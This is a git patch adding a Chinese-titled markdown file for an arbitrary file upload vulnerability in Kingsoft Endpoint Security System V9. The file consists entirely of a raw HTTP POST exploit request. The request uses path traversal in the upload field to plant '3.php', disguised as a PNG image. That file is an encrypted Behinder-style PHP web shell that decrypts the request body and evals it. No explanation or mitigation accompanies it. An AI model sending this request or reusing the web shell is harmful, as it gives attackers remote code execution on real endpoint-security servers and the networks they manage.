From 9c4b8b43db2fdb5fa2f2f0c2a4bddf5e03afb083 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 20:43:28 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E9=87=91=E5=B1=B1=E7=BB=88=E7=AB=AF?=
 =?UTF-8?q?=E5=AE=89=E5=85=A8=E7=B3=BB=E7=BB=9FV9=E4=BB=BB=E6=84=8F?=
 =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 金山终端安全系统V9任意文件上传漏洞.md | 38 +++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)
 create mode 100644 金山终端安全系统V9任意文件上传漏洞.md

diff --git a/金山终端安全系统V9任意文件上传漏洞.md b/金山终端安全系统V9任意文件上传漏洞.md
new file mode 100644
index 0000000..7041770
--- /dev/null
+++ b/金山终端安全系统V9任意文件上传漏洞.md
@@ -0,0 +1,38 @@
+## 金山终端安全系统V9任意文件上传漏洞
+```
+POST /inter/software_relation.php HTTP/1.1 
+Host: 192.168.249.137:6868 
+Content-Length: 1557 
+Pragma: no-cache 
+Cache-Control: no-cache 
+Upgrade-Insecure-Requests: 1 
+Origin: http://192.168.249.137:6868 
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxRP5VjBKdqBrCixM 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
+AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 
+Accept-Encoding: gzip, deflate 
+Accept-Language: zh-CN,zh;q=0.9 
+
+Connection: close ------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="toolFileName" ../../datav.php 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="toolDescri" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="id" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="version" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="sofe_typeof" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="fileSize" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="param" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+Content-Disposition: form-data; name="toolName" 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM 
+
+Content-Disposition: form-data; name="toolImage"; filename="3.php" Content-Type: image/png 
+<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?> 
+------WebKitFormBoundaryxRP5VjBKdqBrCixM
+
+```